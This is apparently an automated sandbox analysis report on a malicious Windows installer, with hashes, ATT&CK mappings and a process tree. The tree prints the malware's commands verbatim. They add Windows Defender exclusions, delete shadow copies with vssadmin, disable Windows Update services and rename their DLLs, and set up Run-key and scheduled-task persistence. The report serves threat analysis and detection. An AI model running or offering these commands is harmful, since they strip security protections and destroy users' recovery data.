b47353f33d71b0e85f77ef2c2811ff17030e3298046391e78584b478cee372c9

Analysis

max time kernel
151s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/08/2026, 02:35

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General

Target
inst_smt008.exe
Size 55.2MB
Sample260805-c3fzmscc25
SHA256 b47353f33d71b0e85f77ef2c2811ff17030e3298046391e78584b478cee372c9
MD5 f18eff7936a1bfc32773e81319209e1a
SHA1 7b5918883844a4306d597291a4cd5a1f8df6c4ea
SHA512 e5f3f40c3a76d504ba51b7c2a20f869b5a23168d20e948ce87e16a514d2898a071f51da133967f46434685abf7b1169505f1e4475708d234bd7b7537ea0b71a7
SSDEEP 196608:InnmbV2qWwRNTc+u1aZfO8pP+QDhb6Z/LzEnSQ5Ps6G:iSRe9QDm
TLSH
T116C78406F702899AD4799338488B4F91B372ECF14AB6972323B8733D2EFA35C5E91545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\HjZPPj = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1376	powershell.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 2 IoCs

pid	Process
296	djpWe7.exe
2112	djpWe7.exe

Loads dropped DLL 2 IoCs

pid	Process
296	djpWe7.exe
2112	djpWe7.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1844	icacls.exe
1288	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\HjZPPj\\djpWe7.exe\""	djpWe7.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5640	cmd.exe
4716	cmd.exe
1768	cmd.exe
2636	cmd.exe
5588	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	djpWe7.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\RYP3pv\image.png	djpWe7.exe
File opened for modification	C:\Program Files (x86)\RYP3pv\RYP3pv.exe	djpWe7.exe
File opened for modification	C:\Program Files (x86)\RYP3pv\image.png	djpWe7.exe
File opened for modification	C:\Program Files (x86)\RYP3pv	djpWe7.exe
File created	C:\Program Files (x86)\RYP3pv\RYP3pv.exe	djpWe7.exe
File created	C:\Program Files (x86)\RYP3pv\XPSPLOG.dll	djpWe7.exe
File created	C:\Program Files (x86)\RYP3pv\thumbs.db	djpWe7.exe
File opened for modification	C:\Program Files (x86)\RYP3pv\XPSPLOG.dll	djpWe7.exe
File opened for modification	C:\Program Files (x86)\RYP3pv\thumbs.db	djpWe7.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3712	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 11 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6004	cmd.exe
1824	cmd.exe
4896	cmd.exe
1876	cmd.exe
4956	cmd.exe
3108	cmd.exe
5704	cmd.exe
5860	cmd.exe
1092	cmd.exe
1500	cmd.exe
3924	cmd.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5612	schtasks.exe
2924	schtasks.exe
3212	schtasks.exe
2056	schtasks.exe
4904	schtasks.exe
1536	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
780	inst_smt008.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe
296	djpWe7.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	1376	powershell.exe
Token: SeIncreaseQuotaPrivilege	1376	powershell.exe
Token: SeSecurityPrivilege	1376	powershell.exe
Token: SeTakeOwnershipPrivilege	1376	powershell.exe
Token: SeLoadDriverPrivilege	1376	powershell.exe
Token: SeSystemProfilePrivilege	1376	powershell.exe
Token: SeSystemtimePrivilege	1376	powershell.exe
Token: SeProfSingleProcessPrivilege	1376	powershell.exe
Token: SeIncBasePriorityPrivilege	1376	powershell.exe
Token: SeCreatePagefilePrivilege	1376	powershell.exe
Token: SeBackupPrivilege	1376	powershell.exe
Token: SeRestorePrivilege	1376	powershell.exe
Token: SeShutdownPrivilege	1376	powershell.exe
Token: SeDebugPrivilege	1376	powershell.exe
Token: SeSystemEnvironmentPrivilege	1376	powershell.exe
Token: SeRemoteShutdownPrivilege	1376	powershell.exe
Token: SeUndockPrivilege	1376	powershell.exe
Token: SeManageVolumePrivilege	1376	powershell.exe
Token: 33	1376	powershell.exe
Token: 34	1376	powershell.exe
Token: 35	1376	powershell.exe
Token: 36	1376	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 296 wrote to memory of 1376	296	djpWe7.exe	92
PID 296 wrote to memory of 5640	296	djpWe7.exe	94
PID 5640 wrote to memory of 4904	5640	cmd.exe	96
PID 5640 wrote to memory of 2760	5640	cmd.exe	99
PID 5640 wrote to memory of 6092	5640	cmd.exe	102
PID 296 wrote to memory of 4716	296	djpWe7.exe	104
PID 4716 wrote to memory of 1536	4716	cmd.exe	106
PID 296 wrote to memory of 1768	296	djpWe7.exe	107
PID 4716 wrote to memory of 4704	4716	cmd.exe	109
PID 1768 wrote to memory of 5612	1768	cmd.exe	111
PID 4716 wrote to memory of 1608	4716	cmd.exe	112
PID 296 wrote to memory of 2636	296	djpWe7.exe	113
PID 1768 wrote to memory of 2232	1768	cmd.exe	115
PID 2636 wrote to memory of 2924	2636	cmd.exe	116
PID 1768 wrote to memory of 5944	1768	cmd.exe	117
PID 2636 wrote to memory of 4852	2636	cmd.exe	118
PID 2636 wrote to memory of 4244	2636	cmd.exe	119
PID 296 wrote to memory of 5588	296	djpWe7.exe	122
PID 5588 wrote to memory of 3212	5588	cmd.exe	124
PID 5588 wrote to memory of 3880	5588	cmd.exe	125
PID 5588 wrote to memory of 3256	5588	cmd.exe	127
PID 1824 wrote to memory of 4748	1824	cmd.exe	129
PID 4896 wrote to memory of 4372	4896	cmd.exe	130
PID 1876 wrote to memory of 3268	1876	cmd.exe	131

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\inst_smt008.exe
"C:\Users\Admin\AppData\Local\Temp\inst_smt008.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:780

C:\Users\Public\HjZPPj\djpWe7.exe
"C:\Users\Public\HjZPPj\djpWe7.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\HjZPPj\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5640
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\HjZPPj\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4904
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2760
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:6092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4716
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1536
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4704
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1768
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5612
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2232
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2636
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2924
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4852
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5588
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3212
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3880
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3256
- C:\Program Files (x86)\RYP3pv\RYP3pv.exe
  "C:\Program Files (x86)\RYP3pv\RYP3pv.exe"
  2⤵
  PID:2832
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:1092
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\RYP3pv" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:1500
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\RYP3pv" /inheritance:r
      4⤵
      Modifies file permissions
      PID:1844
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:4956
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:3108
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:3924
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:5704
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:5860
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:1080
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:1536
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:3712
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\RYP3pv" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:6004
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\RYP3pv" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:1288

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\HjZPPj" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1824
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\HjZPPj" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4748

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:4348

C:\Users\Public\HjZPPj\djpWe7.exe
"C:\Users\Public\HjZPPj\djpWe7.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2112

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4896
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4372

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1876
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3268

C:\Program Files (x86)\RYP3pv\RYP3pv.exe
"C:\Program Files (x86)\RYP3pv\RYP3pv.exe"
1⤵
PID:5412

C:\Program Files (x86)\RYP3pv\RYP3pv.exe
"C:\Program Files (x86)\RYP3pv\RYP3pv.exe"
1⤵
PID:1692

C:\Program Files (x86)\g2Ob2T\1ACsFP5o.exe
"C:\Program Files (x86)\g2Ob2T\1ACsFP5o.exe"
1⤵
PID:2800

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\RYP3pv\" /t REG_DWORD /d 0 /f"
1⤵
- Scheduled Task/Job: Scheduled Task
PID:2056

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

RYP3pv.exe

Path C:\Program Files (x86)\RYP3pv\RYP3pv.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\RYP3pv\XPSPLOG.dll
Size 4.6MB
SHA256 2bdfc53eafa8fbdf6d66e93a8c294bb72d9d3bba89de81117948f884be6dd0e1
MD5 17a3fb744f696c3957a9fbe454cb055c
SHA1 5cae074de238f29c43333c336df9debe8d427453
SHA512 fc2c98c686b11528dc4c0a258ad6f230bcc5129325d8e9750bda9ee619b15142c4320a40f7eda0813b995fdf83e23483d105a0e5e614e833fe249e7c320650dc
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyl:BMWKfU+BcUTHCCCfqCiUffnl
TLSH
T1D4263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\RYP3pv\XPSPLOG.dll
Size 4.5MB
SHA256 b20d8b97d0a0092a2e989a243d0735a6f81b4385dbd4abdb891103b850641cfc
MD5 dc4cbadb45d70d869619110e403182f2
SHA1 75bb05763a9d1435553e36c73a614a7fb3e460d3
SHA512 d88899ea786bb0dff6dbd3b9c21b6b236c3ea7c5451551ba7dccee8430d22afc5eea3a0f74b48e90a4d6bcf3ee62833f8eff279ea1d790398c701d44a221c0fa
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyd:BMWKfU+BcUTHCCCfqCiUffnd
TLSH
T151263349BADB064DD89676744F2DFC7EB2B92CCC4305DC49D8497587E8B272A303A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\RYP3pv\image.png
Size 5.0MB
SHA256 7111d5671359fa00b26aa544d129834dcfc42779492324925c46054fd023b81e
MD5 46077379b6c8b4538adf22f8e4fe0dbe
SHA1 cb159b25691091211ac30f94915c3383676c4e51
SHA512 45dfd12951cb64635aa47d7d0b96233cdb9b39e318398c357db22e29e7353530770a5f6f1a4764179ecd9791f4a77ece44f88564d78165ae4caff4e6ca2a6277
SSDEEP 98304:XqvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpHcmI0DoKoxGhUX:3/u21dGs2rOal3UpkiMT59IZVGhW
TLSH
T119363325135D318B6AD6C2DCDF91617AE6814BF0E880CDB837D92FB3527CEBA7088645
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\RYP3pv\thumbs.db
Size 358KB
SHA256 b71bbd7faa1db912eac0925d038d70504996159427211d2cf3f1b824061dfa0c
MD5 9d26e865423a9b5f3c2a7c725fc55a84
SHA1 354b15ada4a6c0b64d1b9a22a413a0a2f911f8ba
SHA512 527dcddfa4556077179a9f251f1aa51d34d778bfd67422b0a75c957d3971f5d652898228b657fe5091e525f166a5c8a4ec0d6ea55c0133dca53b23dcbe8982e0
SSDEEP 6144:ZiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:48u69CghoQxoMTFQqtKFCz7mb/
TLSH
T16C74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\g2Ob2T\XPSPLOG.dll
Size 4.6MB
SHA256 936593308513cef1cdbc2b43f7fe1e3006c65cde20bda52a6799b1d308c84aa9
MD5 2d6cf2718108ae69ce42498ff2f6cb84
SHA1 38cd62b70138e23738fbbf2f0ae09e49d815be71
SHA512 312dcb87c8b276aee121b78aa34243f6a6019818f1c2ee1f72a13aece7048b9f5f3dc051c34a53be6596426746ff2c22172d7eacf8c959ba7589d09acd721fb4
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy7:BMWKfU+BcUTHCCCfqCiUffn7
TLSH
T1A4263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\g2Ob2T\XPSPLOG.dll
Size 1.7MB
SHA256 94af61325a1a8b6b49b9069597f368a9d6faf67585e6d2080af22b8eefc24de2
MD5 779cd82dd863c9484657231d1e307cd9
SHA1 0b020f9086a2a19f8f45c1f6274bfe0900f6aaa8
SHA512 3d24d09bff489a5bf60c8c3892782df42cd36a9f7f0b5674308b92378815e9ffec9505acb9a9346a0da66b303c50c2b394ffdd07798d811765889fe9a6e10596
SSDEEP 24576:RTOuWhLK5RyoT9xcjWByWfymm5LQMqKJoyPhNuTXT5tpB1JA6nvsNBFGGLncDYN:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcw
TLSH
